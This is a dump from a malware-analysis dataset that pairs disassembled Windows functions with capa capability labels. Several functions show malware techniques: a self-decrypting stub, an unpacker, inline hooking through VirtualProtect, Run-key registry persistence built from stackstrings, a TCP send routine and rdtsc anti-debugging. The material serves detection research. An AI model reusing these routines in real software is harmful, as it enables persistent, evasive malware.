joyce8/EMBER2024-capa huggingface dataset:
Function at 0x725fc4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x725ff5
dec al
je 0x726030
dec al
je 0x726074
dec al
je 0x7260e6
jmp 0x726181
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x726181
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x726005
jmp 0x726181
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x726181
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
movzx ecx, al
mov ecx, dword [ebx + ecx*4 + 0x40]
add dl, byte [ecx + esi]
and dl, 0xff
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x726040
jmp 0x726181
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x726181
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, dword [ebx + 0x24]
mov ecx, esi
dec ecx
cmp edx, ecx
jbe 0x7260a7
xor edx, edx
mov dword [esp + 4], edx
jmp 0x7260bc
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov ebp, dword [ebx + edx*4 + 0x40]
movzx edx, byte [ebp + esi]
add eax, dword [esp + 4]
sar eax, 1
jns 0x7260d4
adc eax, 0
add dl, al
and dl, 0xff
mov byte [ebp + esi], dl
inc esi
dec edi
jne 0x726084
jmp 0x726181
xor eax, eax
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 8], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x726181
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, dword [ebx + 0x24]
mov ecx, esi
dec ecx
cmp edx, ecx
ja 0x72614d
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 8], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 8]
push eax
movzx eax, byte [esp + 8]
pop edx
call fcn.00722f74
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [esp]
and al, 0xff
mov byte [edx + esi], al
inc esi
dec edi
jne 0x726102
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x72b5f0
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040a09c
mov eax, dword [ebp - 8]
call fcn.0040a09c
xor eax, eax
push ebp
push 0x72b804
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov dl, 1
mov eax, dword [0x7189ec]
call fcn.0069bd38
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
call fcn.0071d04c
add eax, 0xa8
mov edx, 0x72b81c
call fcn.0040a398
mov dl, 1
mov eax, dword [0x44a1d8]
call fcn.004081a0
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x72b7d3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, 0x72b8a0
call fcn.0040adc0
jne 0x72b6d4
call fcn.0072b580
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
lea eax, [ebp - 0xc]
call fcn.00426110
push 0x72b8e4
push dword [0x74a0c4]
push 0x72b900
push dword [ebp - 8]
push 0x72b920
push dword [ebp - 0xc]
lea eax, [ebp - 0x24]
mov edx, 6
call fcn.0040ad10
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
call fcn.007196ec
jmp 0x72b737
mov eax, dword [0x766c4c]
mov eax, dword [eax + 0x3e0]
mov edx, dword [eax]
call dword [edx + 0x140]
test eax, eax
jne 0x72b709
mov eax, dword [ebp - 8]
mov edx, 0x72b934
call fcn.0040adc0
jne 0x72b709
mov bl, 1
lea eax, [ebp - 8]
mov edx, 0x72b95c
call fcn.0040a3e0
push 0x72b8e4
push dword [0x74a0c4]
push 0x72b988
push dword [ebp - 8]
lea eax, [ebp - 0x28]
mov edx, 4
call fcn.0040ad10
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
call fcn.007196ec
test bl, bl
je 0x72b748
lea eax, [ebp - 8]
mov edx, 0x72b934
call fcn.0040a3e0
movzx eax, byte [0x72b9a8]
push eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, 0x72b9b8
mov edx, 0x72b9c8
mov eax, dword [ebp - 8]
call fcn.0042e268
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 8]
call fcn.0040a3e0
movzx eax, byte [0x72b9a8]
push eax
lea eax, [ebp - 0x30]
push eax
mov ecx, 0x72b9b8
mov edx, 0x72b9e0
mov eax, dword [ebp - 8]
call fcn.0042e268
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 8]
call fcn.0040a3e0
lea eax, [ebp - 0x34]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0040ac88
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
call fcn.00474338
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x72b7da
mov eax, dword [ebp - 0x10]
call fcn.004081d0
mov eax, dword [ebp - 0x14]
call fcn.004081d0
pop eax
jmp eax
Function at 0x401207
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84c
mov eax, dword [0x41b2f8]
xor edx, edx
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [0x41b2fc]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0xc], edx
mov esi, dword [edi]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x2c], 0x9e3779b9
mov dword [ebp - 0x18], eax
call fcn.00401200
add dword [ebp - 0xc], 0x23f
cmp dword [0xae308c], 0x14
jne 0x401263
push edx
lea eax, [ebp - 0x84c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov ecx, dword [0x41b300]
mov edx, dword [str.y_H]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov eax, esi
mov dword [ebp - 8], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0xae308c], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0xae3088]
cmove eax, dword [ebp - 8]
and dword [ebp - 8], 0
cmp dword [0xae308c], 0x3eb
mov dword [0xae3088], eax
mov eax, dword [0xae2fe0]
cmove eax, dword [ebp - 8]
mov dword [0xae2fe0], eax
mov eax, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 0x10], eax
add dword [ebp - 0x10], edx
xor edx, edx
mov eax, dword [ebp - 4]
mov dword [0xae3084], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x20]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor ecx, eax
cmp dword [0xae308c], 0x213
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
jne 0x40135a
push edx
push edx
push edx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [ebp - 0x44c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x4c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov ecx, dword [ebp - 0x10]
sub ebx, ecx
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
mov edx, ebx
mov eax, dword [ebp - 0xc]
shr edx, cl
add eax, ebx
mov ecx, dword [ebp - 4]
add edx, edi
xor ecx, eax
mov dword [ebp - 0x10], edx
cmp dword [0xae308c], 0xb03
mov dword [ebp - 4], ecx
jne 0x40139d
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
xor ecx, edx
sub esi, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0xc], eax
dec dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
jne 0x40127f
mov edi, dword [ebp - 0x28]
mov dword [edi], esi
mov dword [edi + 4], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c624
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a5a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407f55
mov dword [ebp - 0x14], eax
cmp dword [0x43e870], esi
jne 0x40c717
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c6a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c7f7
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c7f7
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c7f7
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43e870], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43e874], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43e878], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43e880], eax
test eax, eax
je 0x40c714
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43e87c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c73c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c72f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c751
push 4
pop eax
jmp 0x40c7f9
cmp dword [ebp - 0x14], esi
je 0x40c751
push dword [0x43e870]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c736
mov eax, dword [0x43e87c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c7af
cmp dword [0x43e880], edi
je 0x40c7af
push eax
call ebx
push dword [0x43e880]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c7af
test eax, eax
je 0x40c7af
call ecx
test eax, eax
je 0x40c7a4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c7a4
test byte [ebp - 8], 1
jne 0x40c7af
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c7df
mov eax, dword [0x43e874]
cmp eax, edi
je 0x40c7dc
push eax
call ebx
test eax, eax
je 0x40c7dc
call eax
mov esi, eax
test esi, esi
je 0x40c7dc
mov eax, dword [0x43e878]
cmp eax, edi
je 0x40c7dc
push eax
call ebx
test eax, eax
je 0x40c7dc
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43e870]
call ebx
test eax, eax
je 0x40c7f7
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c7f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040393e
mov esp, ebp
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x422450
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x417015
lea edi, [esi - 0x16015]
push edi
jmp 0x42246a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x422471
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x422460
mov eax, 1
add ebx, ebx
jne 0x422483
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x422478
jne 0x422494
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x422478
xor ecx, ecx
sub eax, 3
jb 0x4224a8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42251a
mov ebp, eax
add ebx, ebx
jne 0x4224b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4224c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4224e4
inc ecx
add ebx, ebx
jne 0x4224d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4224c5
jne 0x4224e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4224c5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x422504
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4224f5
jmp 0x422466
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x422504
add edi, ecx
jmp 0x422466
pop esi
mov edi, esi
mov ecx, 0xf
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x422522
cmp byte [edi], 0
jne 0x422522
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x422527
lea edi, [esi + 0x20000]
mov eax, dword [edi]
or eax, eax
je 0x422596
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x23540]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x23590]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x422554
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x23594]
or eax, eax
je 0x422590
mov dword [ebx], eax
add ebx, 4
jmp 0x422571
call dword [esi + 0x235a4]
mov ebp, dword [esi + 0x23598]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4225ca
sub esp, 0xffffff80
jmp section..text
Function at 0x4011c3
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edi, dword [ebp + 8]
mov edi, dword [edi]
mov esi, dword [ebp + 0xc]
lea ebx, [ebp - 4]
push ebx
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x10], 1
je 0x4011f2
mov al, 0xe9
stosb byte es:[edi], al
stosd dword es:[edi], eax
sub esi, edi
mov dword [edi - 4], esi
jmp 0x4011f9
mov ecx, 5
rep movsb byte es:[edi], byte [esi]
push ebx
push dword [ebp - 4]
push 5
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
popal
leave
ret 0xc

Function at 0x4012ce
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x38], 0x54464f53
mov dword [ebp - 0x34], 0x45524157
mov dword [ebp - 0x30], 0x63694d5c
mov dword [ebp - 0x2c], 0x6f736f72
mov dword [ebp - 0x28], 0x575c7466
mov dword [ebp - 0x24], 0x6f646e69
mov dword [ebp - 0x20], 0x435c7377
mov dword [ebp - 0x1c], 0x65727275
mov dword [ebp - 0x18], 0x6556746e
mov dword [ebp - 0x14], 0x6f697372
mov dword [ebp - 0x10], 0x75525c6e
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0
mov dword [ebp - 0xa], 0x68f17673
mov word [ebp - 6], 0x736f
mov byte [ebp - 4], 0x74
mov byte [ebp - 3], 0
push 0x100
push 0
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov esi, eax
push esi
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x3c]
lea ebx, [ebp - 0x38]
push eax
push ebx
push 0x80000001
call dword [sym.imp.ADVAPI32.DLL_RegCreateKeyA]
test eax, eax
jne 0x401397
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
pop esi
lea ebx, [ebp - 0xa]
push eax
push esi
push 1
push 0
push ebx
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.DLL_RegSetValueExA]
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.DLL_RegCloseKey]
leave
ret

Function at 0x4014a5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov dword [ebp - 6], 0
lea eax, [ebp - 0x194]
push eax
push 0x101
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
jne 0x40154b
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x4011f9
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [0x401004], eax
push 0x50
call dword [sym.imp.WSOCK32.dll_ntohs]
mov word [0x401002], ax
mov word [section..code], 2
push 6
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
cmp eax, 0xffffffff
je 0x401545
mov dword [ebp - 6], eax
push 0x10
push section..code
push dword [ebp - 6]
call dword [sym.imp.WSOCK32.dll_connect]
test eax, eax
jne 0x40153c
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 6]
call dword [sym.imp.WSOCK32.dll_send]
push dword [ebp - 6]
call dword [sym.imp.WSOCK32.dll_closesocket]
call dword [sym.imp.WSOCK32.dll_WSACleanup]
leave
ret 0xc
Function at 0x402200
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0xc]
mov dword [ebp - 0xc], 0x9f70
sub dword [ebp - 0xc], eax
push ebx
mov dword [ebp - 0x10], eax
or dword [ebp - 0x10], 0x12c67521
mov dword [ebp - 0x18], eax
movzx eax, byte [ebp + 8]
push esi
push edi
movzx edi, byte [ebp + 0xb]
mov byte [ebp - 1], 0
mov dword [ebp - 8], 8
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor eax, edi
xor eax, dword [ebp - 8]
xor edx, edx
mov esi, 0x1beffbef
div esi
mov esi, 0x63be9aff
and ecx, 0x6a40422
or ecx, 0x4912aa49
mov bl, byte [ebp + 8]
push 0
mov eax, edx
xor edx, edx
div esi
mov eax, edx
or eax, dword [ebp - 0x14]
xor edx, edx
div ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [0x425158]
dec dword [ebp - 8]
or eax, edi
add eax, dword [ebp - 0x14]
add eax, edx
lea esi, [ecx + eax - 0x6d]
mov cl, byte [ebp - 8]
mov al, byte [ebp + 0xc]
shr al, cl
shr bl, cl
xor edx, edx
mov ecx, 0x8a9bfbb9
and al, 1
and bl, 1
add bl, al
movzx eax, bl
div ecx
mov eax, 0x65d3317a
and bl, 1
movzx edi, bl
mov ecx, edx
imul ecx, dword [ebp - 8]
xor edx, edx
or ecx, 0xad14bda9
div ecx
xor edx, edx
mov ecx, edi
or ecx, 0xaae8bd27
add esi, eax
mov eax, 0x13b36045
div ecx
xor edx, edx
div dword [ebp - 0x10]
mov eax, 0x5c7950f7
and edx, dword [ebp - 0x14]
sub eax, edx
add esi, eax
mov al, byte [ebp - 1]
add al, al
add al, bl
mov dword [0x425158], esi
mov byte [ebp - 1], al
call dword [sym.imp.USER32.dll_IsWindowUnicode]
mov ecx, dword [ebp - 8]
and eax, 0x4431
or ecx, 0xdbc7518f
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 8]
sub eax, ecx
or eax, edi
add dword [0x425158], eax
cmp dword [ebp - 8], 0
jne 0x40223a
mov ecx, dword [ebp - 0x18]
or ecx, 0x739d47a7
movzx eax, bl
xor edx, edx
div ecx
mov eax, 0x546c1215
pop edi
pop esi
pop ebx
mov ecx, edx
or ecx, 0xd3c9e6bf
xor edx, edx
div ecx
add dword [0x425158], eax
mov al, byte [ebp - 1]
leave
ret

Function at 0x402966
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x25a2f4ee
push esi
xor esi, esi
or dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
rdtsc
push ecx
pop dword [ebp - 0x18]
xor eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
xor eax, dword [ebp - 0x10]
xor dword [ebp - 8], 0x25a2f4ee
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov cx, cx
rdtsc
mov dx, dx
xor eax, dword [0x41a118]
mov dword [ebp - 0xc], eax
not dword [ebp - 0xc]
not eax
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea esp, [esp]
rdtsc
push eax
pop dword [ebp - 0x20]
xor eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
not dword [ebp - 4]
not eax
inc esi
cmp esi, 0xa
jg 0x4029ec
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
sub eax, ecx
sub ecx, dword [ebp - 8]
xor edx, edx
div ecx
cmp eax, 0xa
jb 0x40297e
xor eax, eax
inc eax
pop esi
leave
ret
xor eax, eax
jmp 0x4029e9

Function at 0x408020
Capabilities:
Terminate process

Disassembly:
call fcn.00402d96
jmp fcn.00402793
Function at 0x410220
Capabilities:
Encrypt data using blowfish

Disassembly:
sub esp, 8
mov ecx, 0x412
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
mov esi, 0x506248
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x1c]
cmp ecx, 0x48
jle 0x410246
mov ecx, 0x48
mov edi, dword [esp + 0x20]
push ebp
mov eax, edi
mov ebp, ebx
lea esi, [ecx + edi]
mov dword [esp + 0x1c], 0x12
xor ecx, ecx
mov cl, byte [eax]
inc eax
cmp eax, esi
jb 0x410265
mov eax, edi
xor edx, edx
mov dl, byte [eax]
shl ecx, 8
or ecx, edx
inc eax
cmp eax, esi
jb 0x410275
mov eax, edi
xor edx, edx
mov dl, byte [eax]
shl ecx, 8
or ecx, edx
inc eax
cmp eax, esi
jb 0x410285
mov eax, edi
xor edx, edx
mov dl, byte [eax]
shl ecx, 8
or ecx, edx
inc eax
cmp eax, esi
jb 0x410295
mov eax, edi
mov edx, dword [ebp]
add ebp, 4
xor edx, ecx
mov ecx, dword [esp + 0x1c]
mov dword [ebp - 4], edx
dec ecx
mov dword [esp + 0x1c], ecx
jne 0x41025a
xor eax, eax
mov esi, ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov edi, 9
pop ebp
push 1
lea eax, [esp + 0x10]
push ebx
push eax
call fcn.0040f9a0
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov dword [esi], ecx
mov dword [esi + 4], edx
add esp, 0xc
add esi, 8
dec edi
jne 0x4102bd
lea esi, [ebx + 0x48]
mov edi, 0x200
push 1
lea eax, [esp + 0x10]
push ebx
push eax
call fcn.0040f9a0
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov dword [esi], ecx
mov dword [esi + 4], edx
add esp, 0xc
add esi, 8
dec edi
jne 0x4102e8
pop edi
pop esi
pop ebx
add esp, 8
ret

Function at 0x410d70
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 8]
push 1
lea eax, [esi + 0x384]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ecx, [esp + 8]
push ecx
push 0
push esi
push 0x410a50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov dword [esi + 0x388], eax
test eax, eax
sete dl
mov eax, edx
pop esi
ret
Function at 0x416706
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4eaaa8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.00402bf0
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x14], 0
test edi, edi
mov dword [esi], 0x4f20b0
jne 0x416736
push str.CBigMobComponent::CBigMobComponent:_myOwner__NULL_n
call fcn.004cea60
add esp, 4
mov cx, word [esp + 0x20]
mov ax, word [esp + 0x1c]
mov edx, dword [esp + 0x28]
mov word [esi + 0x26], cx
mov ecx, dword [esp + 0x24]
mov word [esi + 0x24], ax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], edi
mov eax, dword [edi + 0xb4]
test eax, eax
mov dword [esi + 0x50], eax
je 0x416769
mov dword [eax + 0x54], esi
mov eax, dword [esi + 0x4c]
mov dword [esi + 0x54], 0
pop edi
mov dword [eax + 0xb4], esi
mov eax, dword [esi + 0x4c]
mov dword [esi + 0xc], ecx
mov ecx, dword [eax + 8]
mov dword [esi + 0x14], edx
mov dword [esi + 8], ecx
mov edx, dword [eax + 0x10]
mov dword [esi + 0x10], edx
mov ecx, dword [eax + 0x2c]
movsx edx, word [esi + 0x24]
mov dword [esi + 0x2c], ecx
movsx ecx, word [esi + 0x26]
add edx, ecx
mov ecx, dword [esp + 8]
mov dword [esi + 0x30], edx
mov edx, dword [eax + 0x34]
mov dword [esi + 0x34], edx
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0x14